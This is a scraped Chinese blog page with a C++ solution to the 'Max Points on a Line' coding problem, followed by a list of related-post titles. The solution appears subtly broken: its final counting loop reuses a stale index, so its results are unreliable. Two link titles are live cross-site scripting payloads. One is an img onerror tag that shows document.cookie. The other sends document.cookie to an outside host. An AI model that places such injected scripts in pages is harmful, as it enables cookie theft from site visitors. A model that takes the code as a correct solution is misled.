Max Points on a Line
来源:互联网 发布:ubuntu打开u盘命令 编辑:程序博客网 时间:2024/05/17 23:27
Given n points on a 2D plane, find the maximum number of points that lie on the same straight line.
/** * Definition for a point. * struct Point { * int x; * int y; * Point() : x(0), y(0) {} * Point(int a, int b) : x(a), y(b) {} * }; */class Solution {public: int maxPoints(vector<Point>& points) { if (points.size() <= 1) {return points.size();}vector<double> radius;vector<vector<unsigned> > lines;vector<vector<unsigned> > duplication(points.size());unsigned i = 0, j;vector<bool> ignor(points.size(), false);for (; i < points.size(); i++) {if (ignor[i]) {continue;}vector<unsigned> dup;dup.empty();dup.push_back(i);for (j = i + 1; j < points.size(); j++) {double a;if (points[i].x == points[j].x) {if (points[i].y == points[j].y) {dup.push_back(j);ignor[j] = true;continue;}a = INT_MIN;} else {a = (double)(points[i].y - points[j].y)/ (double)(points[i].x - points[j].x);}if (radius.size() == 0) {vector<unsigned> tp;tp.push_back(i);tp.push_back(j);lines.push_back(tp);radius.push_back(a);} else {unsigned z = 0, m, n;bool sameline = false, has = false;for (; z < radius.size(); z++) {if (radius[z] == a) {for (m = 0; m < lines[z].size(); m++) {if (lines[z][m] == i) {sameline = true;for (n = m + 1; n < lines[z].size(); n++) {if (lines[z][n] == j) {has = true;break;}}if (!has) {lines[z].push_back(j);}break;}}}if (sameline)break;}if (!sameline) {vector<unsigned> tp;tp.push_back(i);tp.push_back(j);lines.push_back(tp);radius.push_back(a);}}}duplication[i]=dup;}unsigned max = 0;for (i = 0; i < lines.size(); i++) {unsigned total = 0;if (!ignor[lines[i][j]]) {total += duplication[lines[i][j]].size() - 1;}max = lines[i].size() + total > max ? lines[i].size() + total : max;}return max;}};
0 0
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points On a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- max points on a line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- Max Points on a Line
- 动态规划算法——矩阵连乘问题
- <img src=i onerror=alert(document.cookie)>
- MFC库中CObject
- 对象池的设计及其实现
- OkHttp使用教程
- Max Points on a Line
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- Android学习实践:10.单选按钮RadioButton
- 开源项目ExplosionField(爆炸特效)源码分析
- URLClassLoader使用方法及事例程序
- lightoj1418Trees on My Island【pick公式】
- 数据结构实践——计数的模式匹配
- ARM64的启动过程之(一):内核第一个脚印
- BC#59 (div.2) B